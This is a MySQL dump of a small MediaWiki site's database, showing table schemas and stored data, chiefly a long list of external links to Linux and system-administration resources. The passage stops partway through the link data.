-- MySQL dump 10.11
--
-- Host: localhost    Database: wikidb
-- ------------------------------------------------------
-- Server version	5.0.91-community

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `mw_archive`
--

DROP TABLE IF EXISTS `mw_archive`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_archive` (
  `ar_namespace` int(11) NOT NULL default '0',
  `ar_title` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `ar_text` mediumblob NOT NULL,
  `ar_comment` tinyblob NOT NULL,
  `ar_user` int(10) unsigned NOT NULL default '0',
  `ar_user_text` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `ar_timestamp` varbinary(14) NOT NULL default '',
  `ar_minor_edit` tinyint(4) NOT NULL default '0',
  `ar_flags` tinyblob NOT NULL,
  `ar_rev_id` int(10) unsigned default NULL,
  `ar_text_id` int(10) unsigned default NULL,
  `ar_deleted` tinyint(3) unsigned NOT NULL default '0',
  `ar_len` int(10) unsigned default NULL,
  `ar_page_id` int(10) unsigned default NULL,
  `ar_parent_id` int(10) unsigned default NULL,
  KEY `name_title_timestamp` (`ar_namespace`,`ar_title`,`ar_timestamp`),
  KEY `usertext_timestamp` (`ar_user_text`,`ar_timestamp`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_archive`
--

LOCK TABLES `mw_archive` WRITE;
/*!40000 ALTER TABLE `mw_archive` DISABLE KEYS */;
INSERT INTO `mw_archive` VALUES (0,'Junk_page','','New page: This is a junk page.',0,'72.184.142.174','20071127010455',0,'',79,79,0,20,NULL,NULL),(6,'Intel-logo.png','','Small Intel Logo',1,'WikiAdmin','20081022143854',0,'',471,470,0,16,NULL,NULL),(6,'Linux-logo.png','','Small Tux Logo',1,'WikiAdmin','20081022143552',0,'',470,469,0,14,NULL,NULL);
/*!40000 ALTER TABLE `mw_archive` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_category`
--

DROP TABLE IF EXISTS `mw_category`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_category` (
  `cat_id` int(10) unsigned NOT NULL auto_increment,
  `cat_title` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `cat_pages` int(11) NOT NULL default '0',
  `cat_subcats` int(11) NOT NULL default '0',
  `cat_files` int(11) NOT NULL default '0',
  `cat_hidden` tinyint(1) unsigned NOT NULL default '0',
  PRIMARY KEY  (`cat_id`),
  UNIQUE KEY `cat_title` (`cat_title`),
  KEY `cat_pages` (`cat_pages`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_category`
--

LOCK TABLES `mw_category` WRITE;
/*!40000 ALTER TABLE `mw_category` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_category` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_categorylinks`
--

DROP TABLE IF EXISTS `mw_categorylinks`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_categorylinks` (
  `cl_from` int(10) unsigned NOT NULL default '0',
  `cl_to` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `cl_sortkey` varchar(70) character set latin1 collate latin1_bin NOT NULL default '',
  `cl_timestamp` timestamp NOT NULL default CURRENT_TIMESTAMP on update CURRENT_TIMESTAMP,
  UNIQUE KEY `cl_from` (`cl_from`,`cl_to`),
  KEY `cl_timestamp` (`cl_to`,`cl_timestamp`),
  KEY `cl_sortkey` (`cl_to`,`cl_sortkey`,`cl_from`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_categorylinks`
--

LOCK TABLES `mw_categorylinks` WRITE;
/*!40000 ALTER TABLE `mw_categorylinks` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_categorylinks` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_change_tag`
--

DROP TABLE IF EXISTS `mw_change_tag`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_change_tag` (
  `ct_rc_id` int(11) default NULL,
  `ct_log_id` int(11) default NULL,
  `ct_rev_id` int(11) default NULL,
  `ct_tag` varchar(255) NOT NULL,
  `ct_params` blob,
  UNIQUE KEY `change_tag_rc_tag` (`ct_rc_id`,`ct_tag`),
  UNIQUE KEY `change_tag_log_tag` (`ct_log_id`,`ct_tag`),
  UNIQUE KEY `change_tag_rev_tag` (`ct_rev_id`,`ct_tag`),
  KEY `change_tag_tag_id` (`ct_tag`,`ct_rc_id`,`ct_rev_id`,`ct_log_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_change_tag`
--

LOCK TABLES `mw_change_tag` WRITE;
/*!40000 ALTER TABLE `mw_change_tag` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_change_tag` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_external_user`
--

DROP TABLE IF EXISTS `mw_external_user`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_external_user` (
  `eu_local_id` int(10) unsigned NOT NULL,
  `eu_external_id` varchar(255) character set latin1 collate latin1_bin NOT NULL,
  PRIMARY KEY  (`eu_local_id`),
  UNIQUE KEY `eu_external_id` (`eu_external_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_external_user`
--

LOCK TABLES `mw_external_user` WRITE;
/*!40000 ALTER TABLE `mw_external_user` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_external_user` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_externallinks`
--

DROP TABLE IF EXISTS `mw_externallinks`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_externallinks` (
  `el_from` int(10) unsigned NOT NULL default '0',
  `el_to` blob NOT NULL,
  `el_index` blob NOT NULL,
  KEY `el_from` (`el_from`,`el_to`(40)),
  KEY `el_to` (`el_to`(60),`el_from`),
  KEY `el_index` (`el_index`(60))
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_externallinks`
--

LOCK TABLES `mw_externallinks` WRITE;
/*!40000 ALTER TABLE `mw_externallinks` DISABLE KEYS */;
INSERT INTO `mw_externallinks` VALUES (6,'http://www.memtestosx.org/','http://org.memtestosx.www./'),(1,'http://meta.wikimedia.org/wiki/Help:Contents','http://org.wikimedia.meta./wiki/Help:Contents'),(1,'http://www.mediawiki.org/wiki/Help:Configuration_settings','http://org.mediawiki.www./wiki/Help:Configuration_settings'),(1,'http://www.mediawiki.org/wiki/Help:FAQ','http://org.mediawiki.www./wiki/Help:FAQ'),(1,'http://mail.wikimedia.org/mailman/listinfo/mediawiki-announce','http://org.wikimedia.mail./mailman/listinfo/mediawiki-announce'),(3,'http://solaris-x86.org/documents/tutorials/network.mhtml','http://org.solaris-x86./documents/tutorials/network.mhtml'),(10,'http://host50.ipowerweb.com/~netflow/livecaster.exe','http://com.ipowerweb.host50./~netflow/livecaster.exe'),(12,'http://www.herongyang.com/crypto/des_php_implementation_mcrypt.html','http://com.herongyang.www./crypto/des_php_implementation_mcrypt.html'),(12,'http://www.itl.nist.gov/fipspubs/fip81.htm','http://gov.nist.itl.www./fipspubs/fip81.htm'),(14,'http://www.linux.com/articles/114224','http://com.linux.www./articles/114224'),(14,'http://sourceforge.net/project/showfiles.php?group_id=179805','http://net.sourceforge./project/showfiles.php?group_id=179805'),(14,'http://ksar.atomique.net/','http://net.atomique.ksar./'),(16,'http://www.urbanophile.com/arenn/hacking/gzrt/gzrt.html','http://com.urbanophile.www./arenn/hacking/gzrt/gzrt.html'),(16,'ftp://ftp.urbanophile.com/pub/arenn/software/sources/gzrt-0.5.tar.gz','ftp://com.urbanophile.ftp./pub/arenn/software/sources/gzrt-0.5.tar.gz'),(16,'http://www.zlib.net/zlib-1.2.3.tar.gz','http://net.zlib.www./zlib-1.2.3.tar.gz'),(16,'http://www.zlib.net/','http://net.zlib.www./'),(18,'http://www.lsi.com/storage_home/products_home/internal_raid/megaraid_sata/megaraid_sata_3008x/index.html?remote=1&locale=EN','http://com.lsi.www./storage_home/products_home/internal_raid/megaraid_sata/megaraid_sata_3008x/index.html?remote=1&locale=EN'),(18,'http://www.lsi.com/files/support/rsa/utilities/megaconf/ut_linux_megarc_1.11.zip','http://com.lsi.www./files/support/rsa/utilities/megaconf/ut_linux_megarc_1.11.zip'),(18,'http://linux.dell.com/storage.shtml#megaraid_scsi','http://com.dell.linux./storage.shtml#megaraid_scsi'),(18,'http://ftp.us.dell.com/scsi-raid/','http://com.dell.us.ftp./scsi-raid/'),(14,'http://ksar.atomique.net/Dev/kSar.jnlp','http://net.atomique.ksar./Dev/kSar.jnlp'),(19,'http://x.cygwin.com/docs/ug/cygwin-x-ug.html','http://com.cygwin.x./docs/ug/cygwin-x-ug.html'),(19,'http://www.vanemery.com/Linux/XoverSSH/X-over-SSH2.html','http://com.vanemery.www./Linux/XoverSSH/X-over-SSH2.html'),(19,'http://www.straightrunning.com/XmingNotes/','http://com.straightrunning.www./XmingNotes/'),(19,'http://sourceforge.net/projects/xming/','http://net.sourceforge./projects/xming/'),(19,'http://www.nomachine.com/download.php','http://com.nomachine.www./download.php'),(19,'http://www.freedesktop.org/wiki/CygwinXTroubleShooting#head-6a6eba8b76cc333691dc33a73efbd74473ca28eb','http://org.freedesktop.www./wiki/CygwinXTroubleShooting#head-6a6eba8b76cc333691dc33a73efbd74473ca28eb'),(23,'http://www.osoffice.co.uk/strongbolt_server_appliances.html','http://uk.co.osoffice.www./strongbolt_server_appliances.html'),(23,'http://bluequartz.org/','http://org.bluequartz./'),(23,'http://www.affordable-dedicated-servers.com/cobalt_xtr.html','http://com.affordable-dedicated-servers.www./cobalt_xtr.html'),(23,'http://www.nuonce.net/bq-cd.php','http://net.nuonce.www./bq-cd.php'),(24,'http://wiki.openwrt.org/OpenWrtDocs/Installing/TFTP?action=show&redirect=OpenWrtViaTftp','http://org.openwrt.wiki./OpenWrtDocs/Installing/TFTP?action=show&redirect=OpenWrtViaTftp'),(24,'http://wiki.openwrt.org/ClientModeHowto','http://org.openwrt.wiki./ClientModeHowto'),(24,'http://wiki.x-wrt.org/index.php/Installation_Guide','http://org.x-wrt.wiki./index.php/Installation_Guide'),(24,'http://downloads.x-wrt.org/xwrt/kamikaze/7.07/brcm-2.4/packages/haserl_0.8.0-1_mipsel.ipk','http://org.x-wrt.downloads./xwrt/kamikaze/7.07/brcm-2.4/packages/haserl_0.8.0-1_mipsel.ipk'),(24,'http://downloads.x-wrt.org/xwrt/kamikaze/7.07/brcm-2.4/webif_latest.ipk','http://org.x-wrt.downloads./xwrt/kamikaze/7.07/brcm-2.4/webif_latest.ipk'),(25,'http://ezix.org/project/wiki/HardwareLiSter','http://org.ezix./project/wiki/HardwareLiSter'),(25,'http://ftp.belnet.be/packages/dries.ulyssis.org/redhat/el4/en/i386/dries/RPMS','http://be.belnet.ftp./packages/dries.ulyssis.org/redhat/el4/en/i386/dries/RPMS'),(25,'http://apt.sw.be/dries/RPM-GPG-KEY.dries.txt','http://be.sw.apt./dries/RPM-GPG-KEY.dries.txt'),(14,'http://ksar.atomique.net/Dev/kSar-4.0.10.jar','http://net.atomique.ksar./Dev/kSar-4.0.10.jar'),(23,'http://66.118.149.130/Moria.azure.com/test/phpinfo.php','http://130.149.118.66./Moria.azure.com/test/phpinfo.php'),(28,'http://www.lm-sensors.org/','http://org.lm-sensors.www./'),(28,'http://dl.lm-sensors.org/lm-sensors/releases/lm_sensors-2.10.4.tar.gz','http://org.lm-sensors.dl./lm-sensors/releases/lm_sensors-2.10.4.tar.gz'),(28,'http://www.lm-sensors.org/wiki/iwizard/WrongTemps','http://org.lm-sensors.www./wiki/iwizard/WrongTemps'),(28,'http://www.lm-sensors.org/browser/lm-sensors/trunk/doc/temperature-sensors','http://org.lm-sensors.www./browser/lm-sensors/trunk/doc/temperature-sensors'),(28,'http://dag.wieers.com/packages/rrdtool/','http://com.wieers.dag./packages/rrdtool/'),(28,'http://www.nt.phys.kyushu-u.ac.jp/shimizu/download/download.html','http://jp.ac.kyushu-u.phys.nt.www./shimizu/download/download.html'),(31,'http://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002','http://org.kde-apps.www./content/show.php/Kopete+OTR+Plugin?content=55002'),(31,'http://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz','http://ca.cypherpunks.www./otr/libotr-3.1.0.tar.gz'),(31,'http://www.cypherpunks.ca/otr/','http://ca.cypherpunks.www./otr/'),(34,'https://connect.apple.com/','https://com.apple.connect./'),(34,'http://www.apple.com/support/downloads/x11update2006113.html','http://com.apple.www./support/downloads/x11update2006113.html'),(34,'http://www.macgimp.org/','http://org.macgimp.www./'),(34,'http://darwinports.com/','http://com.darwinports./'),(34,'http://www.darwinports.com/install/','http://com.darwinports.www./install/'),(34,'http://www.versiontracker.com/dyn/moreinfo/macosx/32608','http://com.versiontracker.www./dyn/moreinfo/macosx/32608'),(35,'http://en.wikipedia.org/wiki/S.M.A.R.T','http://org.wikipedia.en./wiki/S.M.A.R.T'),(35,'http://www.knopper.net/knoppix/index-en.html','http://net.knopper.www./knoppix/index-en.html'),(35,'http://www.ubuntu.com/','http://com.ubuntu.www./'),(35,'http://fedoraproject.org/','http://org.fedoraproject./'),(35,'http://www.remote-exploit.org/backtrack.html','http://org.remote-exploit.www./backtrack.html'),(35,'http://www.sysresccd.org/Main_Page','http://org.sysresccd.www./Main_Page'),(35,'http://www.stresslinux.org/','http://org.stresslinux.www./'),(39,'http://en.opensuse.org/Mirrors_Released_Version','http://org.opensuse.en./Mirrors_Released_Version'),(41,'http://perl.arix.com/cpan2rpm/','http://com.arix.perl./cpan2rpm/'),(41,'http://www.cpan.org/misc/cpan-faq.html#How_installed_modules','http://org.cpan.www./misc/cpan-faq.html#How_installed_modules'),(42,'http://keyserver.veridis.com:11371/index.jsp','http://com.veridis.keyserver.:11371/index.jsp'),(42,'http://pgp.mit.edu/','http://edu.mit.pgp./'),(42,'http://www.nus.edu.sg/comcen/security/newsletter/Apr2004/DigitalSig.htm','http://sg.edu.nus.www./comcen/security/newsletter/Apr2004/DigitalSig.htm'),(42,'http://www.dewinter.com/gnupg_howto/english/GPGMiniHowto.html','http://com.dewinter.www./gnupg_howto/english/GPGMiniHowto.html'),(43,'http://www.mediawiki.org','http://org.mediawiki.www./'),(43,'http://www.sugarcrm.com/crm/','http://com.sugarcrm.www./crm/'),(43,'http://backuppc.sourceforge.net/','http://net.sourceforge.backuppc./'),(43,'http://wordpress.org/','http://org.wordpress./'),(43,'http://www.mythtv.org/','http://org.mythtv.www./'),(43,'http://cacti.net/','http://net.cacti./'),(43,'http://www.asterisk.org/','http://org.asterisk.www./'),(43,'http://www.trixbox.org/','http://org.trixbox.www./'),(43,'http://www.torrentflux.com/','http://com.torrentflux.www./'),(44,'http://www.dyndns.com/','http://com.dyndns.www./'),(44,'http://portforward.com/','http://com.portforward./'),(44,'http://www.cygwin.com/','http://com.cygwin.www./'),(44,'http://backuppc.sourceforge.net/faq/debugCGI.html','http://net.sourceforge.backuppc./faq/debugCGI.html'),(44,'http://backuppc.sourceforge.net/','http://net.sourceforge.backuppc./'),(47,'http://www.sugarcrm.com/crm/index.php?option=com_docs&edition=OS&Itemid=375','http://com.sugarcrm.www./crm/index.php?option=com_docs&edition=OS&Itemid=375'),(47,'http://www.sugarcrm.com/forums/archive/index.php/t-26132.html','http://com.sugarcrm.www./forums/archive/index.php/t-26132.html'),(47,'http://www.sugarforge.org','http://org.sugarforge.www./'),(47,'http://sugarthemeclub.org/en/','http://org.sugarthemeclub./en/'),(49,'http://en.wikipedia.org/wiki/Oxford_English_Dictionary','http://org.wikipedia.en./wiki/Oxford_English_Dictionary'),(49,'http://www.oed.com/about/','http://com.oed.www./about/'),(49,'http://en.wikipedia.org/wiki/Wikipedia:Academic_use','http://org.wikipedia.en./wiki/Wikipedia:Academic_use'),(49,'http://www.timelordz.com/wiki/index.php?title=Oxford_English_Dictionary_and_Wikipedia','http://com.timelordz.www./wiki/index.php?title=Oxford_English_Dictionary_and_Wikipedia'),(48,'http://www.spcollege.edu/program/COMPNET-AS','http://edu.spcollege.www./program/COMPNET-AS'),(48,'http://www.cisco.com/web/learning/le3/le2/le0/le9/learning_certification_type_home.html','http://com.cisco.www./web/learning/le3/le2/le0/le9/learning_certification_type_home.html'),(48,'https://angel.spcollege.edu','https://edu.spcollege.angel./'),(50,'http://www.splunk.com','http://com.splunk.www./'),(50,'http://mysplunkhost:8000','http://mysplunkhost.:8000/'),(50,'http://www.splunk.com/doc/3.1.4/installation/InstallFirefoxToolbar','http://com.splunk.www./doc/3.1.4/installation/InstallFirefoxToolbar'),(51,'http://bastille-linux.sourceforge.net/running_bastille_on.htm','http://net.sourceforge.bastille-linux./running_bastille_on.htm'),(51,'http://bastille-linux.sourceforge.net/assessment.htm','http://net.sourceforge.bastille-linux./assessment.htm'),(43,'http://www.blender.org/','http://org.blender.www./'),(43,'http://www.blender.org/features-gallery/gallery/images/','http://org.blender.www./features-gallery/gallery/images/'),(54,'http://smartmontools.sourceforge.net/','http://net.sourceforge.smartmontools./'),(54,'http://en.wikipedia.org/wiki/S.M.A.R.T','http://org.wikipedia.en./wiki/S.M.A.R.T'),(54,'http://smartlinux.sourceforge.net/smart/attributes.php','http://net.sourceforge.smartlinux./smart/attributes.php'),(54,'http://www.almico.com/sfarticle.php?id=2','http://com.almico.www./sfarticle.php?id=2'),(54,'http://www.deepspar.com/pdf/DeepSparDiskImagingWhitepaper3.pdf','http://com.deepspar.www./pdf/DeepSparDiskImagingWhitepaper3.pdf'),(54,'http://members.ozemail.com.au/~steven.mcleod/SMART_Anti_Forensics.pdf','http://au.com.ozemail.members./~steven.mcleod/SMART_Anti_Forensics.pdf'),(54,'http://www.calce.umd.edu/whats_new/2003/1203.pdf','http://edu.umd.calce.www./whats_new/2003/1203.pdf'),(54,'http://research.google.com/archive/disk_failures.pdf','http://com.google.research./archive/disk_failures.pdf'),(55,'http://www.splunk.com/','http://com.splunk.www./'),(54,'http://www.linuxjournal.com/article/6983','http://com.linuxjournal.www./article/6983'),(58,'http://www.inference.phy.cam.ac.uk/saw27/notes/backup-hard-disk-partitions.html','http://uk.ac.cam.phy.inference.www./saw27/notes/backup-hard-disk-partitions.html'),(58,'http://www.partimage.org','http://org.partimage.www./'),(58,'http://www.knoppix.org','http://org.knoppix.www./'),(58,'http://www.trekweb.com/~jasonb/articles/linux_loopback.shtml','http://com.trekweb.www./~jasonb/articles/linux_loopback.shtml'),(58,'http://www.garloff.de/kurt/linux/ddrescue/','http://de.garloff.www./kurt/linux/ddrescue/'),(58,'http://www.kalysto.org/utilities/dd_rhelp/index.en.html','http://org.kalysto.www./utilities/dd_rhelp/index.en.html'),(58,'http://www.gnu.org/software/ddrescue/ddrescue.html','http://org.gnu.www./software/ddrescue/ddrescue.html'),(58,'http://www.mail-archive.com/bug-ddrescue@gnu.org/msg00038.html','http://com.mail-archive.www./bug-ddrescue@gnu.org/msg00038.html'),(58,'http://linux-ntfs.sourceforge.net/man/ntfsclone.html','http://net.sourceforge.linux-ntfs./man/ntfsclone.html'),(58,'http://linux-ntfs.sourceforge.net/status.html#ntfstools','http://net.sourceforge.linux-ntfs./status.html#ntfstools'),(58,'http://samba.anu.edu.au/rsync/','http://au.edu.anu.samba./rsync/'),(58,'http://www.cis.upenn.edu/~bcpierce/unison/','http://edu.upenn.cis.www./~bcpierce/unison/'),(58,'http://rdiff-backup.stanford.edu/','http://edu.stanford.rdiff-backup./'),(58,'http://www.nongnu.org/duplicity/','http://org.nongnu.www./duplicity/'),(58,'http://www.unixwiz.net/techtips/recovering-ext2.html','http://net.unixwiz.www./techtips/recovering-ext2.html'),(58,'http://ata-atapi.com/hiwtab.htm','http://com.ata-atapi./hiwtab.htm'),(58,'http://ata-atapi.com/hiwchs.htm','http://com.ata-atapi./hiwchs.htm'),(58,'http://www.cgsecurity.org/wiki/TestDisk','http://org.cgsecurity.www./wiki/TestDisk'),(59,'http://www.cacti.net/downloads/docs/html/unix_configure_cacti.html','http://net.cacti.www./downloads/docs/html/unix_configure_cacti.html'),(59,'http://www.cacti.net/','http://net.cacti.www./'),(61,'http://clonezilla.sourceforge.net/','http://net.sourceforge.clonezilla./'),(62,'http://clonezilla.sourceforge.net/','http://net.sourceforge.clonezilla./'),(62,'http://www.partimage.org/Main_Page','http://org.partimage.www./Main_Page'),(63,'http://smartmontools.sourceforge.net/badblockhowto.html','http://net.sourceforge.smartmontools./badblockhowto.html'),(63,'http://www2.uic.edu/~aciani1/sector_blues.html','http://edu.uic.www2./~aciani1/sector_blues.html'),(66,'http://marc.info/?l=bugtraq&m=107703696631367&w=2','http://info.marc./?l=bugtraq&m=107703696631367&w=2'),(18,'ftp://ftp.us.dell.com/ide/perc-cerc-apps-6.03-A06.tar.gz','ftp://com.dell.us.ftp./ide/perc-cerc-apps-6.03-A06.tar.gz'),(67,'http://www.stuff.co.nz/4425376a28.html','http://nz.co.stuff.www./4425376a28.html'),(67,'http://www.storm.net.nz/projects/16','http://nz.net.storm.www./projects/16'),(10,'http://www.networknotepad.com/','http://com.networknotepad.www./'),(10,'http://www.cisco.com/web/learning/netacad/index.html','http://com.cisco.www./web/learning/netacad/index.html'),(10,'http://forums.cisco.com/eforum/servlet/PrepCenter?page=main','http://com.cisco.forums./eforum/servlet/PrepCenter?page=main'),(10,'http://www.boson.com/','http://com.boson.www./'),(10,'http://cisco-live.com/','http://com.cisco-live./'),(10,'http://www.ciscopress.com/index.asp','http://com.ciscopress.www./index.asp'),(69,'http://www.interactmath.com','http://com.interactmath.www./'),(69,'http://www.tatanka.com.br/ies4linux/page/Installation:Ubuntu','http://br.com.tatanka.www./ies4linux/page/Installation:Ubuntu'),(69,'http://www.gagme.com/greg/linux/activex-linux.php','http://com.gagme.www./greg/linux/activex-linux.php'),(71,'http://www.portal.sagonet.com','http://com.sagonet.portal.www./'),(71,'http://jeremy.zawodny.com/mysql/mytop/','http://com.zawodny.jeremy./mysql/mytop/'),(23,'http://www.osoffice.co.uk/linux/raq550-sb-kernel-source/2.6/','http://uk.co.osoffice.www./linux/raq550-sb-kernel-source/2.6/'),(23,'http://www.osoffice.co.uk/linux/raq550-sb-kernel-source/2.6/sb-1.06-raq550_kernel_src.tar.gz','http://uk.co.osoffice.www./linux/raq550-sb-kernel-source/2.6/sb-1.06-raq550_kernel_src.tar.gz'),(72,'http://openvpn.net/index.php/documentation/miscellaneous/static-key-mini-howto.html','http://net.openvpn./index.php/documentation/miscellaneous/static-key-mini-howto.html'),(73,'http://sourceforge.net/projects/automysqlbackup/','http://net.sourceforge./projects/automysqlbackup/'),(73,'http://www.phpmyadmin.net/home_page/index.php','http://net.phpmyadmin.www./home_page/index.php'),(75,'http://forums.cpanel.net/showthread.php?t=45926','http://net.cpanel.forums./showthread.php?t=45926'),(76,'http://tomtom14.ipodpsp.hop.clickbank.net/?tid=ONLINETV','http://net.clickbank.hop.ipodpsp.tomtom14./?tid=ONLINETV'),(74,'http://www.cpanelconfig.com/how-to/install-spf-records-on-a-cpanel-server/','http://com.cpanelconfig.www./how-to/install-spf-records-on-a-cpanel-server/'),(74,'http://www.captain.at/howto-linux-driveready-seekcomplete-error-drivestatuserror.php','http://at.captain.www./howto-linux-driveready-seekcomplete-error-drivestatuserror.php'),(74,'http://forums.sagonet.com/index.php?topic=4380.0','http://com.sagonet.forums./index.php?topic=4380.0'),(43,'http://www.apachefriends.org/en/xampp.html','http://org.apachefriends.www./en/xampp.html'),(81,'http://lubi.sourceforge.net/lvpm.html','http://net.sourceforge.lubi./lvpm.html'),(81,'http://sourceforge.net/project/showfiles.php?group_id=198821','http://net.sourceforge./project/showfiles.php?group_id=198821'),(81,'http://internap.dl.sourceforge.net/sourceforge/lubi/unetbootin-partitionmanagerrev146-2.noarch.rpm','http://net.sourceforge.dl.internap./sourceforge/lubi/unetbootin-partitionmanagerrev146-2.noarch.rpm'),(81,'http://internap.dl.sourceforge.net/sourceforge/lubi/unetbootin_partitionmanagerrev146_all.deb','http://net.sourceforge.dl.internap./sourceforge/lubi/unetbootin_partitionmanagerrev146_all.deb'),(81,'http://www.timelordz.com/downloads/partitionmanager.rpm','http://com.timelordz.www./downloads/partitionmanager.rpm'),(13,'http://www.webhostingtalk.com/showthread.php?p=5049034#post5049034','http://com.webhostingtalk.www./showthread.php?p=5049034#post5049034'),(81,'http://lubi.sourceforge.net/','http://net.sourceforge.lubi./'),(81,'http://partedmagic.com/','http://com.partedmagic./'),(35,'http://www.supergrubdisk.org/','http://org.supergrubdisk.www./'),(82,'http://www.redhat.com/docs/manuals/linux/RHL-8.0-Manual/admin-primer/s1-acctsgrps-files.html','http://com.redhat.www./docs/manuals/linux/RHL-8.0-Manual/admin-primer/s1-acctsgrps-files.html'),(82,'http://en.wikipedia.org/wiki/Unix_time','http://org.wikipedia.en./wiki/Unix_time'),(43,'http://www.shrubbery.net/rancid/','http://net.shrubbery.www./rancid/'),(43,'http://www.mrtg.com/','http://com.mrtg.www./'),(43,'http://oss.oetiker.ch/mrtg/','http://ch.oetiker.oss./mrtg/'),(83,'http://www.nanog.org/mtg-0210/abley.html','http://org.nanog.www./mtg-0210/abley.html'),(83,'http://www.graphviz.org/Gallery.php','http://org.graphviz.www./Gallery.php'),(83,'http://www.shrubbery.net/tools.html','http://net.shrubbery.www./tools.html'),(83,'http://www.wildpackets.com','http://com.wildpackets.www./'),(83,'http://www.wireshark.org/','http://org.wireshark.www./'),(84,'http://rfxnetworks.com/sim.php','http://com.rfxnetworks./sim.php'),(39,'http://ks.sagonet.com/supportd','http://com.sagonet.ks./supportd'),(39,'http://opensuse.us/phpBB2/viewtopic.php?p=14851','http://us.opensuse./phpBB2/viewtopic.php?p=14851'),(85,'http://en.opensuse.org/SuSE_install_with_PXE_boot','http://org.opensuse.en./SuSE_install_with_PXE_boot'),(85,'http://en.opensuse.org/KIWI','http://org.opensuse.en./KIWI'),(85,'http://opseast.wordpress.com/2007/03/26/kiwi-how-to-create-your-linux-and-initrd-files-for-pxe-booting/','http://com.wordpress.opseast./2007/03/26/kiwi-how-to-create-your-linux-and-initrd-files-for-pxe-booting/'),(85,'http://opseast.wordpress.com/2007/10/02/configuring-a-tftppxe-server/','http://com.wordpress.opseast./2007/10/02/configuring-a-tftppxe-server/'),(85,'http://howtoforge.com/ubuntu_pxe_install_server','http://com.howtoforge./ubuntu_pxe_install_server'),(41,'http://www.fozzilinymoo.org/Fozzolog/2003/06/im-apt-to-play-the-cpanflute.html','http://org.fozzilinymoo.www./Fozzolog/2003/06/im-apt-to-play-the-cpanflute.html'),(86,'http://apt.sw.be/redhat/el4/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el4.rf.i386.rpm','http://be.sw.apt./redhat/el4/en/i386/rpmforge/RPMS/rpmforge-release-0.3.6-1.el4.rf.i386.rpm'),(85,'http://www.novell.com/coolsolutions/appnote/17752.html','http://com.novell.www./coolsolutions/appnote/17752.html'),(87,'http://rpm.pbone.net/','http://net.pbone.rpm./'),(87,'http://winmtr.sourceforge.net/','http://net.sourceforge.winmtr./'),(88,'http://opensolaris.org/os/community/zfs/demos/','http://org.opensolaris./os/community/zfs/demos/'),(88,'http://www.oreillynet.com/databases/blog/2008/04/mysql_backups_using_zfs_snapsh_1.html','http://com.oreillynet.www./databases/blog/2008/04/mysql_backups_using_zfs_snapsh_1.html'),(88,'http://flux.org.uk/howto/solaris/zfs_tutorial_01','http://uk.org.flux./howto/solaris/zfs_tutorial_01'),(88,'http://howtoforge.com/linux_lvm','http://com.howtoforge./linux_lvm'),(88,'http://download.berlios.de/zfs-fuse/zfs-fuse-0.4.0_beta1.tar.bz2','http://de.berlios.download./zfs-fuse/zfs-fuse-0.4.0_beta1.tar.bz2'),(88,'http://zfs-on-fuse.blogspot.com/','http://com.blogspot.zfs-on-fuse./'),(88,'https://developer.berlios.de/project/showfiles.php?group_id=6836','https://de.berlios.developer./project/showfiles.php?group_id=6836'),(88,'http://www.scit.wlv.ac.uk/cgi-bin/mansec?1M+mkfile','http://uk.ac.wlv.scit.www./cgi-bin/mansec?1M+mkfile'),(88,'http://www.w